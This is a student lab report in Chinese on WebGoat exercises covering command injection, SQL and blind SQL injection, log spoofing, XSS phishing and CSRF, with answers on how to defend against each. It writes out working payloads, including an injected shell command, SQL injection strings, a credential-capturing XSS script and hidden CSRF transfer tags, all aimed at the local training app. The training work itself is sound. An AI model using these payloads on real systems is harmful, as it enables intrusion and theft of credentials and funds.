2019-2020-2 网络对抗技术 20175206 Exp9 Web安全基础
实践基础知识
本实践的目标理解常用网络攻击技术的基本原理。Webgoat实践下相关实验。
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,指导用户利用这些漏洞进行攻击。
实践内容
任务一:WebGoat
任务二:SQL注入攻击:Injection Flaws
任务三:XSS攻击
任务四:CSRF攻击
实践过程
任务一:WebGoat
- WebGoat需要Java SE8的支持,版本不匹配会造成一些错误的发生,对实验造成影响,所以先去官网下载对应的支持
jdk-8u251-linux-x64.tar.gz
然后下载webgoat-container-7.0.1-war-exec.jar
对下载的jdk进行配置:
配置jdk环境成功!
在webgoat-container-7.0.1-war-exec.jar
目录下执行命令java -jar webgoat-container-7.0.1-war-exec.jar
在浏览器中输入http://localhost:8080/WebGoat
进入WebGoat登录界面
发现有用户和管理员两种登陆方式,这里我们使用用户登录方式user
登录页面成功,我们可以看到左侧菜单栏的工具齐整,也证明了我们的jdk配置成功!
任务二:SQL注入攻击:Injection Flaws
-
命令注入:Command Injection
概念:命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。
原理:在正常的参数提交过程中添加恶意代码以执行某条指令。
目标:可以在目标主机上执行任何系统命令
步骤:
1.右键点击页面,选择inspect Element
审查网页元素对源代码进行修改
2.在复选框中任意一栏的代码,右键单击后,选择Edit At Html
进行修改,添加"& netstat -an & ipconfig"
点击view
,可以看到执行指令后的网络端口使用情况和IP地址,攻击成功!
-
数字型注入:Numeric SQL Injection
概念:注入数字型数据(如:永真式)达到注入的效果。
原理:在station字段中注入特征字符,组合成新的SQL语句。
目标:该例子通过注入SQL字符串查看所有的天气数据。
步骤:
1.右键点击页面,选择inspect Element
审查网页元素对源代码进行修改
2.在选中的城市编号Value值中添加or 1=1
即可看到包括选择城市在内的所有的城市天气,攻击成功!
-
日志欺骗:Log Spoofing
概念:通过在日志文件中插入脚本实现欺骗。
原理:在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹
目标:灰色区域代表在 Web 服务器的日志中的记录的内容,我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”
步骤:
1.本题目接受用户输入的任何一个用户名,并将其追加到日志文件中。
2.在菜单栏中选择Injection Flaws
,展开页面中选择Log Spoofing
利用入回车(0D%)和换行符(%0A),在username
中填入ldc20175206%0d%0aLogin Succeeded for username: admin
成功将登录信息加入日志文件当中!攻击成功!
用户名输入admin <script>alert(document.cookie)</script>
,管理员可以看到弹窗的cookie信息。
-
字符串注入:String SQL Injection
原理:通过注入字符串绕过认证
目标:以某一身份进行登录,获得全部成员信息。
步骤:
1.在菜单栏中选择Injection Flaws
,展开页面中选择LAB: SQL Injection
,展开页面中选择String SQL Injection
2.右键点击页面,选择inspect Element
审查网页元素对源代码进行修改,将password
密码框的最大长度限制改为18。
以用户Neville(admin)
登录,输入密码5206' or '1' = '1
成功获取所有人信息!
-
数字型注入:Numeric SQL Injection
原理:通过注入数字型数据绕过认证,
目标:可以通过普通员工的账户,查看到BOSS的用户信息。
步骤:
1.选择Numeric SQL Injection
2.使用用户名Larry
,密码larry
登录,点击ViewProfile
查看用户信息
3.右键点击页面,选择inspect Element 审查网页元素源代码,我们可以看到数据库索引的依据是员工ID,推测返回的是每次查询到的第一条数据。老板应该是工资最高的,所以将员工ID的value改成101 or 1=1 order by salary desc
,使得Boss的信息作为查询到的第一条数据——工资(始终是最高的)。
点击ViewProfile
再次查看用户信息,注入成功
-
字符串型注入:String SQL Injection
概念:通过注入字符串绕过认证。
原理:基于以下查询语句构造自己的 SQL 注入字符串。SELECT * FROM user_data WHERE last_name = '?'
目标:尝试通过 SQL 注入将所有信用卡信息 显示出来。
步骤:
1.在菜单栏中选择Injection Flaws
,展开页面中选择String SQL Injection
2.按照正常操作进行查询
3.输入查询的用户名Smith' or 1=1--
可以搜索表里面的所有数据,得到所有用户的信用卡号码,攻击成功!
-
数字型盲注入:Blind Numeric SQL Injection
原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
目标:该题目允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。我们找到pins
表中cc_number
字段值为1111222233334444
的记录中pin
字段的数值。pin
字段类型为int
,整型。输入找到的数值并提交,通过该题目。
利用查询语句SELECT * FROM user_data WHERE userid=accountNumber
;如果查询语句返回了账号信息,则提示账号有效,否则提示无效。
步骤:
1.输入以下语句:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 )
;,得到结果为无效,判断pin
值是小于5000的。
2.因为结果无效,所以使用二分法,最终得出pin的值为2364
3.若输入查询语句101 AND 1=1
,因为两个条件都成立,所以页面返回帐号有效
-
字符串型盲注入:Blind String SQL Injection
原理:与数字型盲注入类似,某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
目标:找到pins
表中cc_number
字段值为4321432143214321
的记录中pin
字段的数值。pin
字段类型为varchar
。输入找到的数值(最终的字符串,注意拼写和大写)并提交,通过本题目。
步骤:
1.把AND后面的内容改为就具体某个字母大小的比对,通过SubString逐一确定每个字母。
2.输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' )
取得pin
字段数值的第一个字母,并判断其是否比字母“M”小
3.SUBSTRING 语法为SUBSTRING(STRING,START,LENGTH)
,使用二分法进行测试,最后得到pin
字段为Jill
任务三:XSS攻击
- XSS 钓鱼:Phishing with XSS
原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
目标:创建一个 form,要求填写用户名和密码。将数据提交到
http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
步骤:
1.XSS可以在一存在的页面中进一步的添加元素,我们让受害人填写一个表格然后服务器以读取脚本的形式发送给攻击者。
2.编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat
3.编写一个带用户名和密码输入框的表格:
脚本代码如下:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
账户密码明文形式出现,攻击成功!
-
存储型XSS攻击:Stored XSS Attacks
原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
目标:写入非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
步骤:
1.在title中输入任意字符,留言板中输入<script>alert("I am ldc20175206. You've been attacked!!!");</script>
2.生成submit即可看到结果
-
反射型XSS攻击:Reflected XSS Attacks
原理:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
目标:使用攻击脚本创建URL,并将其写入网站中,当读取到该URL的时候就会被攻击
步骤:
1.输入与钓鱼时相同的代码,输入账号和密码可得:
攻击成功!
任务四:CSRF攻击
-
跨站请求伪造:Cross Site Request Forgery (CSRF)
原理: 跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如:,当受害者的浏览器试图呈现此页面时,它将使用指定的参数向www.mybank.com的“me”端点发出请求。浏览器将请求链接以获得图像,即使它实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,比如“购买物品”,或者脆弱网站提供的任何其他功能。
目标: 向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。URL应该指向“攻击”servlet,其中包含“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”,其数值为5000。可以通过在右侧插入的参数中找到“Screen”和“menu”值来构造链接。当经过身份验证的CSRF电子邮件的收件人将被转移他们的资金。
步骤:
1.查看scr
值和menu
值,分别为303
和900
2.title栏中随便输入,message
框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=303&menu=900&transferFunds=5000" width="1" height="1" />
以图片形式将URL放入Message
框中,这事URL对其他用户不可见(宽高都为1为了隐藏该图片),用户点击图片就会触发CSRF事件,点击Submit提交。
-
绕过CSRF确认:CSRF Prompt By‐Pass
原理: 跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。
目标:与上一个题目类似,向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url
应该指向攻击servlet
,其中包含这个CSRF-prompt-by-pass
课程的屏幕、菜单参数和一个额外的参数“transferFunds”
,其中包含一个数值“5000”
来启动传输,一个字符串值“CONFIRM”
来完成传输。您可以从右边的插图中复制课程的参数,创建格式为attack?Screen=XXX&menu=YYY&transferFunds=ZZZ
的url
。无论谁收到这封电子邮件,并且碰巧在那个时候通过了身份验证,他的资金就会被转移。
步骤:
1.查看scr
值和menu
值,分别为303
和900
2.titile
框中输入学号,message
框中输入代码:
<iframe src="attack?Screen=303&menu=900&transferFunds=5000"> </iframe><iframe src="attack?Screen=303&menu=900&transferFunds=CONFIRM"> </iframe>
3.点击生成,操作成功
实验结束!
实践问题
基础问题回答
(1)SQL注入攻击原理,如何防御
答:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
Sql注入带来的威胁主要有如下几点:猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息;绕过认证,列如绕过验证登录网站后台;注入可以借助数据库的存储过程进行提权等操作。
防御:对后台代码进行优化,减少出现漏洞以防止权限被窃取。对输入进行确认,禁止特殊符号的注入等等
(2)XSS攻击的原理,如何防御
答:通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等
防御:XSS防御的总体思路是:对输入(和URL参数)进行过滤,对输出进行编码,使脚本无法在浏览器中执行。
只允许用户输入我们期望的数据,对数据进行HtmlEncode处理,过滤活移除特殊的Html标签,过滤javascript事件的标签等
(3) CSRF攻击原理,如何防御
答:是一种网络的攻击方式,是对网站的恶意利用。其通过伪装来自受信任用户的请求来利用受信任的网站,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。说白了就是冒充用户进行登录操作。
防御:只使用JSON API,使用JavaScript发起AJAX请求是限制跨域的,并不能通过简单的 表单来发送JSON,所以,通过只接收JSON可以很大可能避免CSRF攻击。
验证HTTP Referer字段,根据HTTP协议,在HTTP头中有一个字段叫Referer,它记录了该HTTP请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,是合法的。如果Referer是其他网站的话,则有可能是黑客的CSRF攻击,拒绝该请求。
在请求地址中添加takon验证,token 可以在用户登陆后产生并放于session之中,然后在每次请求时把token从session中拿出,与请求中的token进行比对。
实验总结与体会
总结与体会
本次实验是本学期的最后一次实验,内容上讲算是比较综合的一次,有环境配置,有之前的XSS攻击和DQL注入,也有新的CSRF攻击等。因为是在平台进行的操作,所以有一些步骤就显得极为的简略和易懂,加之本次试验环境的配置没有出现太多的问题,总体上来看还是较为顺利的。从对攻击一无所知,到慢慢有所了解,再到可以自己尝试着去搞一些新的攻击,肉眼可见的进步也让我对这门学科的兴趣越发的浓厚。通过这一整个学期的实验,我对目前网络安全环境有了一个大致的了解和认识,对电脑的安全防护也更上心了起来,能够更好的保护自己免受网络攻击的威胁,对以后的学习也打下了相当的基础,我个人来讲是收获颇丰的。